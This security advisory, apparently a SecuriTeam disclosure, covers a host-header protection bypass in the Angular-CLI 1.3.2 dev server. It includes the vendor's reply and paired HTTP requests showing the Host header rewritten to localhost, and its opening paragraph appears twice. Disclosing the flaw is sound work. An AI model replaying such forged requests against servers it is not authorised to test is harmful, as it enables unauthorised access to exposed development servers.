### Vulnerability summary The following advisory describes an athentication bypass vulnerability found in Angular-CLI version 1.3.2 The Angular CLI makes “it easy to create an application that already works, right out of the box. It already follows our best practices!” ### Credit An independent security researcher, Paolo Stagno aka VoidSec, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program. ### Vendor response Angular-CLI was informed of the vulnerability, to which they response with: “This is a known ‘problem’, and people are using that feature quite extensively. Please note that we write a large warning message when users are running serve in production mode, and it is not a supported use case. The assumption that we are making (and maybe we could be clearer about it) is that you always run your development server (which is what ng serve is) in a local development environment, on a computer that’s firewalled properly from the internet. We...
### Vulnerability summary The following advisory describes an athentication bypass vulnerability found in Angular-CLI version 1.3.2 The Angular CLI makes “it easy to create an application that already works, right out of the box. It already follows our best practices!” ### Credit An independent security researcher, Paolo Stagno aka VoidSec, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program. ### Vendor response Angular-CLI was informed of the vulnerability, to which they response with: “This is a known ‘problem’, and people are using that feature quite extensively. Please note that we write a large warning message when users are running serve in production mode, and it is not a supported use case. The assumption that we are making (and maybe we could be clearer about it) is that you always run your development server (which is what ng serve is) in a local development environment, on a computer that’s firewalled properly from the internet. We do not support serving your website to the public as a production environment. As such, the Host header protection is of little use for a development server use case like this one. Closing this as answered, but if you feel there are more points to make, you can either open a new issue or answer this one directly and ping me” ### Vulnerability details According to the documentation of Angular-CLI: “Generating and serving an Angular project via a development server: ``` ng new PROJECT-NAME cd PROJECT-NAME ng serve ``` Navigate to `http://localhost:4200/`. The app will automatically reload if you change any of the source files. You can configure the default HTTP host and port used by the development server with two command-line options:” ``` ng serve --host 0.0.0.0 --port 4201 ``` As a security measure that were put in place, once the ng instance is launched with the option “ng serve –host 0.0.0.0 –port 4201” it is only accessible from localhost, otherwise you’ll get an error message:  However, it is possible to bypass the Host Header Protection by rewriting the Host Header to localhost: Original Request: ``` GET / HTTP/1.1 Host: 192.168.0.11:4201 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 ``` Modified Request: ``` GET / HTTP/1.1 Host: localhost:4201 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 ``` 
